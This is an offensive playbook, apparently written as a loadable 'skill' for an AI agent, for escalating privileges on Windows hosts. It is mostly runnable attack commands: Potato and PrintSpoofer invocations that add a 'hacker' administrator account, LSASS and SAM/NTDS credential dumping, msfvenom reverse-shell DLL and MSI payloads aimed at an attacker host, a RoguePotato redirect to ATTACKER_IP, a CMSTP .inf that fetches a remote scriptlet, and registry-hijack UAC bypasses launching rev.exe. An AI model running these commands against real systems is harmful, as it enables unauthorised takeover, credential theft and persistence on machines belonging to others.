Windows Privilege Escalation

SKILL: Windows Local Privilege Escalation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.

0. RELATED ROUTING

Before going deep, consider loading:

• windows-lateral-movement after escalation for pivoting to other hosts
• windows-av-evasion when AV/EDR blocks your privesc tools
• active-directory-kerberos-attacks when the host is domain-joined and you need AD-level escalation
• active-directory-acl-abuse for domain privilege escalation via ACL misconfigurations

Advanced Reference

Also load TOKEN_POTATO_TRICKS.md when you need:

• Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
• OS-version-specific exploit selection
• Required privileges and protocol details per variant

Also load UAC_BYPASS_METHODS.md when you need:

• UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
• Auto-elevate binary abuse
• Mock trusted directory tricks

---

1. ENUMERATION CHECKLIST

System Context

whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships

Token Privileges (Critical)

whoami /priv

Services & Scheduled Tasks

sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list

Installed Software & Patches

wmic product get name,version
wmic qfe list                      & REM Installed patches

Network & Credentials

netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul

---

2. TOKEN MANIPULATION & POTATO EXPLOITS

SeImpersonatePrivilege Abuse

Service accounts (IIS AppPool, MSSQL, etc.) typically hold SeImpersonatePrivilege. This enables impersonation of any token presented to you.

# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}

SeDebugPrivilege Abuse

# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe

---

3. SERVICE MISCONFIGURATIONS

Unquoted Service Paths

# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

If path is C:\Program Files\My App\service.exe, Windows tries: 1. C:\Program.exe 2. C:\Program Files\My.exe 3. C:\Program Files\My App\service.exe

Place malicious binary at first writable location.

Weak Service Permissions

# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS

# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc

Writable Service Binaries

# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary

---

4. DLL HIJACKING

DLL Search Order (Standard)

1. Directory of the executable 2. C:\Windows\System32 3. C:\Windows\System 4. C:\Windows 5. Current directory 6. Directories in %PATH%

Exploitation

# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directory that comes before the real DLL location

Known Phantom DLL Targets

---

5. ALWAYSINSTALLELEVATED

# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi

---

6. SCHEDULED TASK ABUSE

# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"

# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"

# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path

Scheduled Task via PowerShell

# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"

---

7. REGISTRY AUTORUNS

# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula

If an autorun entry points to a writable path → replace binary or inject new entry.

---

8. NAMED PIPE IMPERSONATION

# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated

# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe

Custom named pipe server (requires SeImpersonatePrivilege):

# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token

---

9. AUTOMATED TOOLS

---

10. PRIVILEGE ESCALATION DECISION TREE

Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│   ├── Yes → Potato family (§2)
│   │   ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│   │   ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│   │   └── Older → JuicyPotato (need CLSID)
│   └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│   ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│   ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│   └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│   ├── Missing DLL in search path? → plant malicious DLL (§4)
│   └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│   └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│   ├── Task runs as SYSTEM with writable binary? → replace (§6)
│   └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│   └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│   └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│   ├── cmdkey /list → runas /savecred
│   ├── Autologon in registry? → plaintext creds
│   └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
    ├── Run winPEAS for comprehensive scan
    ├── Check internal services (netstat -ano)
    ├── Look for sensitive files (unattend.xml, web.config, *.config)
    └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)

Token Manipulation & Potato Family Detailed Comparison

AI LOAD INSTRUCTION: Load this for in-depth Potato exploit selection, token privilege prerequisites, OS-version matrices, and protocol-level details. Assumes the main SKILL.md is already loaded for general Windows privesc flow.

---

1. TOKEN PRIVILEGE PRIMER

Privilege → Attack Mapping

How Token Impersonation Works

1. Attacker (service account) creates a named pipe / COM server
2. SYSTEM-level process connects (coerced or naturally)
3. Attacker calls ImpersonateNamedPipeClient() or similar
4. Attacker's thread now runs with SYSTEM token
5. Use CreateProcessWithTokenW() to spawn SYSTEM shell

---

2. POTATO FAMILY EVOLUTION

Timeline & Motivation

2016: Hot Potato     — NBNS spoofing + WPAD + NTLM relay (patched)
2018: JuicyPotato    — COM/DCOM activation with custom CLSID
2019: RoguePotato    — OXID resolver redirect for Server2019
2020: PrintSpoofer   — Named pipe via Print Spooler service
2021: SweetPotato    — Combines multiple coercion techniques
2022: GodPotato      — DCOM RPCSS direct, broad OS support
2023: EfsPotato      — EFS RPC named pipe token capture

---

3. DETAILED COMPARISON MATRIX

---

4. TOOL USAGE — COMMAND REFERENCE

JuicyPotato

# List valid CLSIDs for the OS version (from juicy-potato GitHub)
# https://github.com/ohpe/juicy-potato/tree/master/CLSID

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\temp\out.txt" -t * -c {CLSID}

# Common CLSIDs:
# {4991d34b-80a1-4291-83b6-3328366b9097}  Windows 10
# {e60687f7-01a1-40aa-86ac-db1cbf673334}  Server 2016

RoguePotato

# On attacker machine: redirect OXID resolution (port 135)
socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999

# On target:
RoguePotato.exe -r ATTACKER_IP -l 9999 -e "cmd.exe /c whoami"

PrintSpoofer

# Interactive SYSTEM shell
PrintSpoofer64.exe -i -c cmd.exe

# Execute command as SYSTEM
PrintSpoofer64.exe -c "cmd /c net user hacker P@ss! /add"

# Works from a service context (IIS, MSSQL)

SweetPotato

# Auto-selects best technique
SweetPotato.exe -e EfsRpc -p C:\temp\rev.exe
SweetPotato.exe -e PrintSpoofer -p cmd.exe -a "/c whoami"

# Techniques: WinRM, EfsRpc, PrintSpoofer

GodPotato

# Broadest modern compatibility
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c net localgroup administrators hacker /add"

# .NET version requirements: .NET 2.0 / 3.5 / 4.x variants available

---

5. SeBackupPrivilege EXPLOITATION

# Method 1: Registry hive extraction
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY
# Transfer to attacker → secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Method 2: robocopy with backup flag
robocopy /b C:\Windows\NTDS C:\temp ntds.dit
# Then extract with secretsdump

PowerShell Approach

# Import required DLL methods for backup privilege
# Set-SeBackupPrivilege then copy NTDS.dit
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege "C:\Windows\NTDS\ntds.dit" "C:\temp\ntds.dit"

---

6. SeLoadDriverPrivilege EXPLOITATION

1. Compile or obtain a vulnerable signed driver (e.g., Capcom.sys)
2. Create registry key: HKCU\System\CurrentControlSet\MyDriver
   - Set ImagePath to \\?\C:\temp\Capcom.sys
   - Set Type to 1
3. Call NtLoadDriver() to load the driver
4. Exploit the vulnerable driver for kernel code execution
5. Use kernel access to steal SYSTEM token

# Using EoPLoadDriver
EoPLoadDriver.exe System\CurrentControlSet\MyDriver C:\temp\Capcom.sys
# Then use ExploitCapcom.exe to execute command as SYSTEM
ExploitCapcom.exe cmd.exe

---

7. POTATO SELECTION DECISION TREE

Have SeImpersonatePrivilege?
│
├── What OS version?
│   │
│   ├── Windows 7 / Server 2008R2
│   │   └── JuicyPotato (find valid CLSID for this OS)
│   │
│   ├── Windows 8/8.1 / Server 2012/2012R2
│   │   ├── JuicyPotato (first choice)
│   │   └── GodPotato (if JP fails)
│   │
│   ├── Windows 10 (1607-1809) / Server 2016
│   │   ├── PrintSpoofer (if Spooler runs)
│   │   ├── JuicyPotato (find CLSID)
│   │   └── GodPotato
│   │
│   ├── Windows 10 (1903+) / Server 2019
│   │   ├── PrintSpoofer (if Spooler runs)
│   │   ├── GodPotato (recommended)
│   │   ├── RoguePotato (if you control port 135 redirect)
│   │   └── SweetPotato (auto-selection)
│   │
│   └── Windows 11 / Server 2022
│       ├── GodPotato (recommended — broadest compat)
│       ├── PrintSpoofer (if Spooler runs)
│       └── SweetPotato (fallback)
│
├── Print Spooler service running?
│   ├── Yes → PrintSpoofer (fastest, cleanest)
│   └── No → GodPotato or RoguePotato
│
└── All fail?
    ├── Check if EFS service runs → EfsPotato
    ├── Try SweetPotato (rotates techniques)
    └── Consider named pipe impersonation manually

UAC Bypass Techniques Matrix

AI LOAD INSTRUCTION: Load this for UAC bypass technique selection, auto-elevate binary abuse, and mock trusted directory tricks. Assumes the main SKILL.md is already loaded for general Windows privesc flow. UAC bypass takes you from medium integrity → high integrity (local admin).

---

1. UAC FUNDAMENTALS

Integrity Levels

UAC Settings (ConsentPromptBehaviorAdmin)

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

Key insight: At the default setting (5), Microsoft-signed binaries with autoElevate=true in their manifest run elevated without prompting.

---

2. UAC BYPASS TECHNIQUE MATRIX

---

3. DETAILED BYPASS TECHNIQUES

3.1 fodhelper.exe Bypass

fodhelper.exe auto-elevates and checks HKCU:\Software\Classes\ms-settings\Shell\Open\command before launching.

# Set registry key to hijack execution
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start C:\temp\rev.exe" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

# Trigger
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force

3.2 eventvwr.exe Bypass

eventvwr.exe queries HKCU:\Software\Classes\mscfile\shell\open\command first.

New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"

Start-Process "C:\Windows\System32\eventvwr.exe"

Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force

3.3 computerdefaults.exe Bypass

New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

Start-Process "C:\Windows\System32\computerdefaults.exe"

Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force

3.4 sdclt.exe Bypass

# sdclt.exe checks App Paths in HKCU
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "(default)" -Value "cmd.exe"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "Path" -Value "/c C:\temp\rev.exe"

Start-Process "C:\Windows\System32\sdclt.exe"

Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Recurse -Force

3.5 DiskCleanup / SilentCleanup Bypass

The SilentCleanup scheduled task runs cleanmgr.exe with highest privileges and inherits the user's environment.

# Set %TEMP% or %WINDIR% to controlled path
set __COMPAT_LAYER=RunAsInvoker
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\temp\rev.exe &" /f

# Trigger the scheduled task
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

# Cleanup
reg delete "HKCU\Environment" /v "windir" /f

3.6 Mock Trusted Directory Bypass

Windows path-based trust check has a flaw: trailing spaces in directory names.

# Create mock directory (note trailing space in "Windows ")
mkdir "C:\Windows \System32"

# Copy auto-elevate binary to fake path
copy C:\Windows\System32\fodhelper.exe "C:\Windows \System32\fodhelper.exe"

# Place malicious DLL in mock directory (DLL hijacking during auto-elevate)
# The binary loads from its directory first, bypassing real System32
copy C:\temp\propsys.dll "C:\Windows \System32\propsys.dll"

# Execute — auto-elevates (path passes trust check) and loads our DLL
"C:\Windows \System32\fodhelper.exe"

3.7 CMSTP.exe Bypass

; Save as evil.inf
[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://ATTACKER/sct_payload.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Updater"
ShortSvcName="Updater"

# Execute (auto-elevates via COM interface)
cmstp.exe /s /ns C:\temp\evil.inf

3.8 WSReset.exe Bypass

New-Item -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
New-ItemProperty -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Name "DelegateExecute" -Value "" -Force

Start-Process "C:\Windows\System32\wsreset.exe"

---

4. UACME TOOL REFERENCE

UACME implements 70+ bypass methods.

# Akagi64.exe <method_number> <command>
Akagi64.exe 23 cmd.exe        & REM Method 23: sdclt bypass
Akagi64.exe 33 cmd.exe        & REM Method 33: fodhelper bypass
Akagi64.exe 34 cmd.exe        & REM Method 34: computerdefaults
Akagi64.exe 61 cmd.exe        & REM Method 61: wsreset bypass

---

5. UAC BYPASS DECISION TREE

Need high integrity from medium integrity?
│
├── Check UAC level
│   ├── ConsentPromptBehaviorAdmin = 0 → no bypass needed
│   └── Default (5) → auto-elevate abuse possible
│
├── Windows 10 (any build)?
│   ├── Try fodhelper (simplest, most reliable)
│   ├── If patched → wsreset or computerdefaults
│   ├── If those fail → mock trusted directory + DLL hijack
│   └── DiskCleanup / SilentCleanup (environment variable)
│
├── Windows 11?
│   ├── wsreset (still works on many builds)
│   ├── Mock trusted directory (reliable)
│   ├── CMSTP (if .inf execution allowed)
│   └── DiskCleanup / SilentCleanup
│
├── Defender/EDR blocking registry writes?
│   ├── Mock trusted directory (no registry needed)
│   └── CMSTP with remote .sct payload
│
└── All auto-elevate bypasses fail?
    ├── Check for vulnerable third-party services (runs elevated)
    ├── Exploit SeImpersonate if available (skip UAC entirely)
    └── Look for scheduled tasks running as admin